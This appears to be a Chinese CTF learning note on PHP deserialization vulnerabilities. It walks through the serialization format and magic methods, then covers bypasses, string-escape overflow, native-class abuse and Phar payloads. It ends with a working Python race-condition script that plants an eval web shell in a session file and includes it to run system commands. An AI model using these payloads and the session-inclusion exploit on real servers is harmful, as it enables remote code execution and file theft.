Serialize & unserialize
这两个方法为 PHP 中的方法, 参见 serialize 和 unserialize 的官方文档.
以下内容中可能存在
字段
,属性
,成员
三个名词误用/混用, 但基本都表示属性
文章仍在完善之中, SESSION 反序列化漏洞要学废了
入门
我们先看看方法的序列化之后的字符串的格式是怎么样的:
首先每一个序列化后的小段都由;
隔开, 使用{}
表示层级关系
数据类型 | 提示符 | 格式 |
---|---|---|
字符串 | s | s:长度:"内容" |
已转义字符串 | S | s:长度:"转义后的内容" |
整数 | i | i:数值 |
布尔值 | b | b:1 => true / b:0 => false |
空值 | N | N; |
数组 | a | a:大小:{键序列段;值序列段;<重复多次>} |
对象 | O | O:类型名长度:"类型名称":成员数:{成员名称序列段;成员值序列段:} |
引用 | R | R:反序列化变量的序号, 从1开始 |
[!NOTE]
我们可以把对象的成员抽象为一个关联数组
我们的键只允许字符串(关联数组)和整数型(数值数组), 对与特殊的键将会进行转换
例如 NULL
会转成 空字符串
, true
会转换成 整数1
, false
会转换成 整数2
其余情况会被强转成字符串, 例如 数组
会转换成 Array
我们使用一个具体一点的示例来看看:
<?php
class Kengwang
{
public $name = "kengwang";
public $age = 18;
public $sex = true;
public $route = LearningRoute::Web;
public $tag = array("dino", "cdut", "chengdu");
public $girlFriend = null;
private $pants = "red"; // not true
}
enum LearningRoute {
case Web;
case Pwn;
case Misc;
}
$kw = new Kengwang();
print_r(serialize($kw));
我们可以看看序列化后的内容:
O:8:"Kengwang":7:{s:4:"name";s:8:"kengwang";s:3:"age";i:18;s:3:"sex";b:1;s:5:"route";E:17:"LearningRoute:Web";s:3:"tag";a:3:{i:0;s:4:"dino";i:1;s:4:"cdut";i:2;s:7:"chengdu";}s:10:"girlFriend";N;s:15:"Kengwangpants";s:3:"red";}
有些混乱, 我们按照层级关系理一理
O:8:"Kengwang":7:{ // 定义了一个对象 [O], 对象名称长度为 [8], 对象类型数为 [7]
s:4:"name";s:8:"kengwang"; // 第一个字段名称是[4]个长度的"name", 值为长度为[8]的字符串([s]) "kengwang"
s:3:"age";i:18; // 第二个字段名称是长度为[3]的"age", 值为整数型([i]): 18
s:3:"sex";b:1; // 第三个字段名称是长度为[3]的"sex", 值为布尔型([b]): 1 -> true
s:5:"route";E:17:"LearningRoute:Web"; // 第四个字段名称是长度为[5]的"route", 值为枚举类型([E]), 枚举值长度为 [17], 值为 "...":
s:3:"tag";a:3:{ // 长度为 [3] 的数组([a])
i:0;s:4:"dino"; // 第[0]个元素
i:1;s:4:"cdut";
i:2;s:7:"chengdu";
}
s:10:"girlFriend";N; // 字段 "girlFriend" 为 NULL
s:15:" Kengwang pants";s:3:"red"; // 私有字段名称为 类型名 字段名, 其中类型名用 NULL 字符包裹
}
关于非公有字段名称:
private
使用: 私有的类的名称 (考虑到继承的情况) 和字段名组合\x00类名称\x00字段名
protected
使用:*
和字段名组合\x00*\x00字段名
魔术方法
PHP 之中的对象拥有一个生命周期, 在生命周期中会调用 魔术方法, 可参见官方文档.
对于魔术方法的详细作用不在本文的讨论重点.
__construct
构造函数, 在对应对象实例化时自动被调用. 子类中的构造函数不会隐式调用父类的构造函数.
在 PHP 8 以前, 与类名同名的方法可以作为 __constuct
调用但 __construct
方法优先
__wakeup
此方法在对象被反序列化时会调用
__sleep
此方法在对象被序列化时会调用
__toString
此方法在对象转化成字符串时会被调用.
当然, 因为 PHP 是一个弱类型语言, 很多情况对象会被隐式转换成字符串, 比如说
==
与字符串比较时会被隐式转换- 字符串操作 (str系列函数), 字符串拼接,
addslashes
- 一些参数需要为字符串的参数:
class_exists
,in_array
(第一个参数), SQL 预编译语句,md5
,sha1
等 print
,echo
函数
__get
在读取某些不可访问或者不存在的字段时会调用此方法, 传入参数为字段名称
__set
给不可访问和不存在的字段赋值时会被调用, 传入的参数第一个为字段名, 第二个为赋值
__invoke
把对象当做函数调用时会使用, 例如 $foo()
当然不仅限于显式调用, 将其作为回调函数 (例如 array_map
作为第一个参数传入) 也会调用此函数
__call
调用无法访问的方法时会调用
__isset
在对不可访问的字段调用 isset
或者 empty
时调用
__unset
对不可访问的字段使用 unset
时触发
__debugInfo
在使用 var_dump
, print_r
时会被调用
剩下的直接贴出其他师傅整理好的:
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__set_state() // 调用var_export()导出类时,此静态方法会被调用
__clone() // 当对象复制完成时调用
__autoload() // 尝试加载未定义的类
魔术方法执行顺序
对于魔术方法的调用顺序, 不同的情况下会有不同的顺序
首先, 一个对象在其生命周期中一定会走过 destruct
, 只有当对象没有被任何变量指向时才会被回收
当使用 new
关键字来创建一个对象时会调用 construct
对于序列化/反序列化时的情况:
序列化时会先调用 sleep
再调用 destruct
, 故而完整的调用顺序为: sleep
-> (变量存在)
-> destruct
反序列化时如果有 __wakeup
则会调用 __wakeUp
而不是 __construct
, 故而逻辑为 __wakeUp/__construct
-> (变量存在)
当然, 也会有不遵守这个调用顺序的情况, 后面绕过里面会进行讨论
由此, 我们可以利用对象反序列化来构造 POP 链, 我们可以看一道题
2023年 SWPU NSS 秋季招新赛 (校外赛道) - UnS3rialize, 在文章最底部
绕过
非公有字段绕过
对于 php7.1+ 版本, 反序列化时若提供的命名为公有字段格式, 会忽略掉非公有字段的访问性, 而可以绕过直接直接对其赋值
这个时候我们有两种方法可以
- 在写序列化 php 文件时可以直接将字段改成 public
- 修改序列化后的字段名, 改为公开字段的样式, 记得修改字符数
绕过 __wakeup
参见
CVE-2016-7124
利用条件:
- php5: <
5.6.25
- php7: <
7.0.10
当反序列化时, 给出的字段个数的数字小于提供的字段个数, 将不会执行 __wakeup
例如:
O:4:"Dino":1:{s:4:"addr";s:3:"209";}
改为:
O:4:"Dino":114514:{s:4:"addr";s:3:"209";}
十六进制绕过字符匹配
我们可以使用十六进制搭配上已转义字符串来绕过对某些字符的检测
例如:
<?php
class Read
{
public $name;
public function __wakeup()
{
if ($this->name == "flag")
{
echo "You did it!";
}
}
}
$str = '';
if (strpos($str, "flag") === false)
{
$obj = unserialize($str);
}
else
{
echo "You can't do it!";
}
这里检测了是否包含 flag
字符, 我们可以尝试使用 flag
的十六进制 \66\6c\61\67
来绕过, 构造以下:
'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'
顺便贴一个 Python 脚本, 可以将字符串转换为 Hex
str = input('Enter a string: ')
print('\\' + str.encode('utf-8').hex('\\'))
利用好引用
对于需要判断两个变量是否相等时, 我们可以考虑使用引用来让两个变量始终相等.
这个相当于一个指针一样, 代码如下:
class A {
public $a;
public $b;
}
$a = new A();
$a->a = &$a->b;
echo serialize($a);
序列化后的结果为:
O:1:"A":2:{s:1:"a";N;s:1:"b";R:2;}
对象反序列化正则绕过
有些时候我们会看到^O:\d+
这种的正则表达式, 要求开头不能为对象反序列化
这种情况我们有以下绕过手段
- 由于
\d
只判断了是否为数字, 则可以在个数前添加+
号来绕过正则表达式 - 将这个对象嵌套在其他类型的反序列化之中, 例如数组
当然, 第一种更佳. 因为若不只匹配开头则仍可以绕过
字符逃逸
对于字符逃逸, 由于 PHP 序列化后的字符类型中的引号不会被转义, 对于字符串末尾靠提供的字符数量来读取, 对于服务端上将传入的字符串实际长度进行增加或减少(例如替换指定字符到更长/短的字符), 我们就可以将其溢出并我们的恶意字符串反序列化.
这种情况下我们通常只能控制其中的一个字符变量, 而不是整个反序列话字符串. 题目会将其先序列化, 再进行字符处理, 之后再反序列化. (类似于将对象存储到数据库)
例如我们有如下过滤机制:
<?php
class Book
{
public $id = 114514;
public $name = "Kengwang 的学习笔记"; // 可控
public $path = "Kengwang 的学习笔记.md";
}
function filter($str)
{
return str_replace("'", "\\'", $str);
}
$exampleBook = new Book();
echo "[处理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[处理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路径] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";
此代码会将其中的单引号过滤成为转义+单引号, 此时字符串的长度会进行变化, 我们可以利用这一点使 name
中的东西溢出到 path
中.
我们构造恶意字符串时需要先将前面的双引号闭合,同时分号表示此变量结束. 在攻击变量结束之后我们需要用 ;}
结束当前的序列化, 会自动忽略掉这之后的序列化.
我们的每一个单引号会变成两个字符, 于是可以将我们的恶意字符给顶掉, 我们只需要提供 恶意字符串长度 个会被放大变成两倍的字符.
当然如果不是两倍, 我们可以灵活运用 +
来进行倍数配齐
例如我们需要恶意构造 ";s:4:"path";s:4:"flag";}s:4:"fake";s:34:
, 长度为 41
, 于是我们提供 41 个'
最终给 name
的赋值为
Kengwang 的学习笔记'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:
我们可以运行一下试试:
[处理前]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的学习笔记'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[处理后]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的学习笔记\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[文件路径]
flag
可以看到 path
被替换成了 flag
当然有字符增加就会有字符减少, 对于字符减少, 我们假设有如下情况:
<?php
class Book
{
public $id = 1919810;
public $name = "Kengwang 的学习笔记"; // 可控
public $description = "The WORST Web Security Leaning Note"; // 可控
public $path = "Kengwang 的学习笔记.md";
}
function filter($str)
{
return str_replace("'", "", $str);
}
$exampleBook = new Book();
echo "[处理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[处理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路径] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";
这里把反引号给过滤掉了, 我们先拿到正常的序列化后的串
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:24:"Kengwang 的学习笔记";s:11:"description";s:35:"The WORST Web Security Leaning Note";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
我们需要让 ";s:11:"description";s:35:
被吞掉作为 name
变量的值, description
的前引号会将其闭合, 此后 description
中的就会逃逸出成为反序列化串, 于是我们在 name
中填入 要被吞掉的字符数目 个'
, 于是尝试
将 name
赋值为 Kengwang Note''''''''''''''''''''''''''
将 description
赋值为 ;s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"
得到结果如下
[处理前]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note''''''''''''''''''''''''''";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的学习 笔记.md";}
[处理后]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[文件路径]
flag
利用不完整类使再次序列化结果变化
当存在 serialize(unserialize($x)) != $x
这种很神奇的东西时, 我们可以利用不完整类 __PHP_Incomplete_Class
来进行处理
当我们尝试反序列化到一个不存在的类是, PHP 会使用 __PHP_Incomplete_Class_Name
这个追加的字段来进行存储
我们于是可以尝试自己构造一个不完整类
<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true
这样就可以绕过了
更近一步, 我们可以通过这个让一个对象被调用后凭空消失, 只需要手动构造无__PHP_Incomplete_Class_Name
的不完整对象
PHP 会先把他的属性给创建好, 但是在创建好最后一个属性后并未发现 __PHP_Incomplete_Class_Name
, 于是会将前面创建的所有的属性回收并引发 __destruct
当然, 要达成这种在反序列化后的变量还存在的时候引发 destruct
, 还有下面这一种方法
Fast Destruct (提前 GC 回收)
还有一种叫做 fast destruct
的神奇操作, 通常是在反序列化之后 throw 了一个 Exception 导致没有正常进入回收的逻辑. 同样也是为了在序列化过程中, 在已经创建好了属性的对象之后引发反序列化错误, 导致全部属性被回收而 destruct
, 这种手法要比上一种简单一点点:
- 改变序列化的元素数字个数 (往小的写)
- 删掉最后一个
}
(这是什么爽的操作)
这个可以参考 强网杯 2021 WhereIsUWebShell
, 可以去看看其他师傅的解法, 我在看的时候看到了很多奇特的绕过手法.
利用
原生类应用
当然, 我们反序列化也可以反序列化 PHP 中存在的类, 我们可以利用这些类存在的一些魔术方法来进行利用
我们可以通过脚本来获取到这些类:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
echo $class . '::' . $method . "\n";
}
}
}
输出的内容有点多就不在这里贴出来了, 我们关注几个原生类
SoapClient
PHP 中默认未启用此扩展, 需要修改php.ini
, 取消extension=soap
前的注释
SoapClient 可以进行 HTTP/HTTPS 的请求, 但是不会输出服务端输出的内容. 不过, 我们仍然可以利用这个来进行内网渗透.
我们通过上面的脚本可以找到 SoapClient
类中存在 SoapClient::__call
, 当我们调用一个不存在的方法时会转发到此方法, 同时请求给服务端
对于 SoapClient
的反序列化, 我们可以控制很多地方的参数,
location
(SoapClientlocation
),这样就可以发送请求到指定服务器uri
(SoapClienturi
), 由于这一串最后会到 Header 里的SOAPAction
, 我们可以在这里注入换行来新建 Header 项, 注意这里的会自动给传入的内容包裹上双引号useragent
(SoapClient_user_agent
), 由于User-Agent
段在Content-Type
的上方, 我们可以通过对useragent
换行来覆盖掉默认的text/xml
的请求类型. 由于默认是 POST 请求, 结合起来我们就可以对指定服务器发送任意 POST 请求.
Exception / Error 类利用
如果 php 文件没有禁用报错输出, 我们可以利用 Exception 的打印时会调用 __toString
来打印报错信息, 于是我们便可以在报错信息 (Exception Message) 中进行 XSS 注入.
同时也可以绕过哈希比较, 当两个报错类, 一个 Exception
, 一个为 Error
, 虽然他们两个对象类型不等, 但经过 __toString
后都一致, 可以利用他来绕过 PHP 中的哈希比较
文件操作
ZipArchive 类删除文件
是不是很神奇, 这个能把文件删除了!
在 ZipArchive
中存在 open
方法, 参数为 (string $filename, int $flags=0)
, 第一个为文件名, 第二个为打开的模式, 有以下几种模式
ZipArchive::OVERWRITE 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除
ZipArchive::CREATE 如果不存在则创建一个zip压缩包
ZipArchive::RDONLY 只读模式打开压缩包
ZipArchive::EXCL 如果压缩包已经存在,则出错
ZipArchive::CHECKCONS 对压缩包执行额外的一致性检查,如果失败则显示错误
我们可以发现当 flag
为 override
(8) 时, 会将目标文件先进行删除, 之后由于并没有进行保存操作, 于是文件就被删除了
在 ByteCTF 2019 - EZCMS
中有出现过
SQLite3 类创建文件
可以利用此创建本地数据库的能力来创建一个文件
DirectoryIterator / FilesystemIterator 列出文件
这两个类在进行 toString
操作后会返回当前目录中的第一个文件
还有一个特殊的 GlobIterator
, 不需要 glob://
就可以遍历目录
SplFileObject 读取文件
该方法不支持通配符并且只能获取都爱第一行, 但是当走投无路的时候也不失为一种方法
这几个文件读取类在 2023 第六届安洵杯网络安全挑战赛 - easy_unserialize 出现过, 文末有相关题目
闭包 (Closure)
闭包在 PHP 5.3 版本中被引入来代表匿名函数, 直接将其作为函数来调用. 但是会收到 PHP 的安全限制而无法反序列化.
当然, 我们可能会发现一些第三方的 Closure
库并没有没安全限制, 利用这些来反序列化也异曲同工.
Reflection系列 反射
可以参考 PHP 手册: https://www.php.net/manual/en/book.reflection.php
反射可以让你获取到指定类,函数等的代码, 可以利用其进行输出
SimpleXMLElement XML 读取
可以把这个和 XXE 结合起来实现文件读取
Phar 反序列化
Phar 相当于一个打包了 php 文件的压缩包. Phar 是PHP 5.3 中新增的特性。 它能够在打包 PHP 文件,这对通过单个文件发布应用程序或库有很大帮助。
但是 Phar 反序列化在 PHP 8 以上版本不在适用, PHP 8 移除了对 Phar 反序列化的支持 (因为没人用)
勾起以前开 MC 基岩版插件服的回忆了
Phar 会以序列化的方式存储 meta-data
(manifest
), 当我们使用 phar://
协议读取 Phar 文件的时候, PHP 会将其反序列化. 几乎所有的文件读取函数都收到了此影响,
参见 https://paper.seebug.org/680/ 以及 https://blog.zsxsoft.com/post/38
我们需要在本地环境的 php.ini
中将 ;phar.readonly = On
改为 phar.readonly = Off
我们可以先构建一个恶意 phar 文件:
<?php
class D1no{
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new D1no();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
之后我们就可以将此文件上传到服务器, 再通过文件操作函数调用, 例如 phar://test.phar/test
来让他打开 phar
文件
当然在上面引用的两篇文章中可以看到还有很多意想不到的地方也受到了影响
当然, 如果存在某些校验, 我们也可以通过一些手段绕过.
如果不允许 phar 出现在文件路径开头, 我们可以套上其他的协议: compress.bzip://
, compress.bzip2://
, compress.zlib://
, php://filter/resource=
如果不允许文件中存在 __HALT_COMPILER, 则将其进行 gzip2 压缩后上传再解析即可
SESSION 反序列化漏洞
这里我们主要利用 session.upload_progress
来进行利用.
我们要先知道, 如果没有特别配置的话, session 通常存储在服务器上的某个文件夹中, 并且文件名通常为 sess_{你的SESSION_ID}
由于他存储时时通过反序列化, 所以原本的字符串会被保留. 于是我们可以注入 PHP 代码, 再通过文件包含执行他
利用条件:
- 可以进行任意文件包含 (或允许包含 session 存储文件)
- 知道session文件存放路径,可以尝试默认路径
- 具有读取和写入session文件的权限
若服务器存在文件 test.php:
<?php
$b = $_GET['file'];
include "$b";
?>
我们可以使用类似条件竞争的方法来进行, 下面是 Python, 我加一点点注释:
利用脚本
import io
import requests
import threading
sessid = 'KW'
data = {"cmd":"system('cat /flag');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50) # 创建 dummy 数据
resp = session.post( 'http://[ip]/test.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('KW.txt',f)}, cookies={'PHPSESSID': sessid} ) # 注入恶意代码到存储的 SESSION 中
def read(session):
while True:
resp = session.post('http://[ip]/test.php?file=session/sess_'+sessid,data=data) # 包含 SESSION 文件, 执行恶意代码
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
break
else:
print("[#] Retrying...")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
如果是反序列化的话, 我们也可以进行反序列化注入
如果我们的文件名可控, 我们在之前放上 |
表示前面的是键名, 后再写入恶意代码. 注意引号要进行转义
便可有exp
序列化方法不同导致反序列化问题
SESSION 序列化时的 php
处理器和 php_serialize
处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。
形成的原理就是在用 session.serialize_handler = php_serialize
存储的字符可以引入 |
, 再用session.serialize_handler = php
格式取出 $_SESSION
的值时, |
会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞
php
处理器默认会变成:
键名|反序列化串
而 php_serialize
处理器则是
SESSION 数组反序列化串
此时处理方法的不同就会导致产生反序列化问题
我们可以利用php_serialize
处理器构造出一个包含 |
的反序列化串, 再用 php
处理器解析, 由此产生反序列化